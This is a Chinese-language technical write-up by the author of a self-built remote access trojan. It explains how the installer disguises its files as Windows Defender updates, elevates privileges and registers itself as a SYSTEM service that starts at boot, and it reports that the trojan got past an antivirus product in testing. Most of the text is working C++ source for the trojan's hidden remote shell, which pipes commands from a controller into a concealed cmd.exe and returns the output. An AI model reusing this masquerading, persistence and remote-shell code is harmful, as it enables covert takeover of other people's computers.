「深度解析」有关某木马编程解析插图

关于安装

Debug编译的话,只生成MuaClient.exe,用于测试。命令行下MuaClient.exe Host Port即可运行。

Release编译的话,生成MuaClient.dll,InstallMuaClient.exe,SystemService.exe.

InstallMuaClient.exe用于安装MuaClient被控端。安装时三个文件需在同一文件夹内。

InstallMuaClient.exe首先将MuaClient.dllSystemService.exe复制到C:\Users\当前用户名\AppData\Roaming\Windows Defender,分别重命名为WindowsDefenderAutoUpdate.dllWindowsDefenderAutoUpdate.exe。然后通过rundll32调用MuaClient.dll重命名后的WindowsDefenderAutoUpdate.dll里面的WindowsUpdate函数,用于提权后以管理员权限再次执行InstallMuaClient.exe。此时将SystemService.exe重命名后的WindowsDefenderAutoUpdate.exe添加为系统服务,同时设置为开机自启,并启动此服务。

这样就完成了安装,此后就会以系统服务的形式开机自启。权限是SYSTEM。

没怎么做免杀,但是目前的效果似乎还可以。

InstallMuaClient.exe:

MuaClient.dll:

SystemService.exe:

测试的时候一直开着火绒,安装的时候,全程没有拦截。只有通过命令行添加新用户的时候拦截了一下。不过好像正常的用户通过命令行添加新用户也会拦截。

关于测试

我是在win10上开发的,环境是vs2017。

请务必在虚拟机内测试。

MuaClient是32位的,使用InstallMuaClient.exe安装后即可。

MuaServer源码中没有限定64位或32位,不过开发和测试都是以32位为主,64位具体能不能用我没测试。运行时需要将相应的HPSocket_??.dll放在程序所在目录,该dll可在.\MuaServer\HPSocket中找到。

远程SHELL

远程SHELL的实现,可以分两部分,一是如何在本地与CMD.exe进行数据的交互,二是数据在网络中的传输。

网络通信

简单说下通信。

主控端发起请求,向被控端发送SHELL_CONNECT包

被控端接收请求后,初始化相应的环境,打开cmd.exe进程,然后响应SHELL_CONNECT包

主控端发送SHELL_EXECUTE包,包体是要执行的命令。

被控端接收后,将要执行的命令通过匿名管道写入cmd.exe。

然后被控端循环读取命令的执行结果,并向主控端发送SHELL_EXECUTE_RESULT封包,包体是执行结果。

本地交互

首先介绍一下管道:

管道是一种用于在进程间共享数据的机制,其实质是一段共享内存。Windows系统为这段共享的内存设计采用数据流I/0的方式来访问。由一个进程读、另一个进程写,类似于一个管道两端,因此这种进程间的通信方式称作“管道”。

管道分为匿名管道和命名管道。

匿名管道只能在父子进程间进行通信,不能在网络间通信,而且数据传输是单向的,只能一端写,另一端读。

命令管道可以在任意进程间通信,通信是双向的,任意一端都可读可写,但是在同一时间只能有一端读、一端写。

在这里,我们可以创建两条匿名管道,一条用来向cmd.exe进程中写数据,一条用来从cmd.exe进程中读数据。

同时,需要注意到,cmd.exe有的时候执行的命令进程不会中止,比如ping -t iyzyi.com,这个会一直循环下去。但是我们最后关闭cmd.exe的时候,并不会关闭这个ping.exe进程。因为windows中关闭父进程,并不会关闭相应的子进程。所以这里我们需要设置一个作业,并将cmd进程和这个作业相关联。这样的话,cmd.exe进程关闭的时候,其所有的子进程都会关闭。

Windows提供了一个作业(job)内核对象,它允许我们将进程组合在一起并创建一个“沙箱”来限制进程能够做什么。最好将作业对象想象成一个进程容器。但是创建只包含一个进程的作业同样非常有用,因为这样可以对进程施加平时不能施加的限制。

DWORD WINAPI CModuleShellRemote::RunCmdProcessThreadFunc(LPVOID lParam)
{
    CModuleShellRemote* pThis = (CModuleShellRemote*)lParam;

    STARTUPINFO                    si;
    PROCESS_INFORMATION            pi;
    SECURITY_ATTRIBUTES            sa;

    HANDLE                        hRead = NULL;
    HANDLE                        hWrite = NULL;
    HANDLE                        hRead2 = NULL;
    HANDLE                        hWrite2 = NULL;

    WCHAR                        pszSystemPath[MAX_PATH] = { 0 };
    WCHAR                        pszCommandPath[MAX_PATH] = { 0 };

    
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;

    //创建匿名管道
    if (!CreatePipe(&hRead, &hWrite2, &sa, 0)) {
        goto Clean;
    }
    if (!CreatePipe(&hRead2, &hWrite, &sa, 0)) {
        goto Clean;
    }

    pThis->m_hRead = hRead;
    pThis->m_hWrite = hWrite;

    si.cb = sizeof(STARTUPINFO);
    GetStartupInfo(&si);
    si.hStdInput = hRead2;
    si.hStdError = hWrite2;
    si.hStdOutput = hWrite2;    
    si.wShowWindow  =SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

    // 获取系统目录
    GetSystemDirectory(pszSystemPath, sizeof(pszSystemPath)); 
    // 拼接成启动cmd.exe的命令
    StringCbPrintf(pszCommandPath, MAX_PATH, L"%s\\cmd.exe", pszSystemPath);

    // 创建作业
    // 一开始没用作业,结果只能中止cmd进程,但是它的子进程,比如ping -t xxx.com,没法中止。杀掉父进程,子进程仍会运行,所以改用作业
    pThis->m_hJob = CreateJobObject(NULL, NULL);

    // 创建CMD进程
    if (!CreateProcess(pszCommandPath, NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
        DebugPrint("error = 0x%x\n", GetLastError());
        goto Clean;
    }

    // 将cmd进程添加到作业中
    AssignProcessToJobObject(pThis->m_hJob, pi.hProcess);

    // 创建好进程后就向主控端发送CONNECT响应包。
    pThis->m_pChildSocketClient->SendPacket(SHELL_CONNECT, NULL, 0);
    SetEvent(pThis->m_hSendPacketShellRemoteConnectEvent);

    // 等待关闭
    WaitForSingleObject(pThis->m_pChildSocketClient->m_hChildSocketClientExitEvent, INFINITE);

Clean:
    //释放句柄
    if (hRead != NULL) {
        CloseHandle(hRead);
        hRead = NULL;
        pThis->m_hRead = NULL;
    }
    if (hRead2 != NULL) {
        CloseHandle(hRead2);
        hRead2 = NULL;
    }
    if (hWrite != NULL) {
        CloseHandle(hWrite);
        hWrite = NULL;
        pThis->m_hWrite = NULL;
    }
    if (hWrite2 != NULL) {
        CloseHandle(hWrite2);
        hWrite2 = NULL;
    }
    return 0;
}

// 本函数只将要执行的命令写入CMD进程的缓冲区,执行结果由另一线程负责循环读取并发送
VOID WINAPI CModuleShellRemote::OnRecvPacketShellRemoteExecute(LPVOID lParam) {
    SHELL_REMOTE_EXECUTE_THREAD_PARAM* pThreadParam = (SHELL_REMOTE_EXECUTE_THREAD_PARAM*)lParam;
    CModuleShellRemote* pThis = pThreadParam->m_pThis;
    CPacket* pPacket = pThreadParam->m_pPacket;
    CSocketClient* pSocketClient = pPacket->m_pSocketClient;
    delete pThreadParam;

    CHAR pszCommand[SHELL_MAX_LENGTH];
    DWORD dwBytesWritten = 0;

    EnterCriticalSection(&pThis->m_ExecuteCs);

    WideCharToMultiByte(CP_ACP, 0, (PWSTR)pPacket->m_pbPacketBody, -1, pszCommand, SHELL_MAX_LENGTH, NULL, NULL);
    strcat_s(pszCommand, "\r\n");
    if (pThis->m_hWrite != NULL) {
        WriteFile(pThis->m_hWrite, pszCommand, strlen(pszCommand), &dwBytesWritten, NULL);
    }

    LeaveCriticalSection(&pThis->m_ExecuteCs);

    if (pPacket != nullptr) {
        delete pPacket;
        pPacket = nullptr;
    }
}

// 循环从缓冲区读取命令的执行结果,并发送给主控端
VOID CModuleShellRemote::LoopReadAndSendCommandReuslt() {
    BYTE SendBuf[SEND_BUFFER_MAX_LENGTH];
    DWORD dwBytesRead = 0;
    DWORD dwTotalBytesAvail = 0;

    while (m_hRead != NULL)
    {
        // 触发关闭事件时跳出循环,结束线程。
        if (WAIT_OBJECT_0 == WaitForSingleObject(m_pChildSocketClient->m_hChildSocketClientExitEvent, 0)) {
            break;
        }

        while (true) {
            // 和ReadFile类似,但是这个不会删掉已读取的缓冲区数据,而且管道中没有数据时可以立即返回。
            // 而在管道中没有数据时,ReadFile会阻塞掉,所以我用PeekNamedPipe来判断管道中有数据,以免阻塞。
            PeekNamedPipe(m_hRead, SendBuf, sizeof(SendBuf), &dwBytesRead, &dwTotalBytesAvail, NULL);
            if (dwBytesRead == 0) {
                break;
            }
            dwBytesRead = 0;
            dwTotalBytesAvail = 0;

            // 我的需求是取一次运行结果就清空一次已读取的缓冲区,所以PeekNamedPipe仅用来判断管道是否为空,取数据还是用ReadFile
            BOOL bReadSuccess = ReadFile(m_hRead, SendBuf, sizeof(SendBuf), &dwBytesRead, NULL);

            if (WAIT_OBJECT_0 != WaitForSingleObject(m_pChildSocketClient->m_hChildSocketClientExitEvent, 0)) {
                m_pChildSocketClient->SendPacket(SHELL_EXECUTE_RESULT, (PBYTE)SendBuf, dwBytesRead);
            }

            memset(SendBuf, 0, sizeof(SendBuf));
            dwBytesRead = 0;
            Sleep(100);
        }
    }
}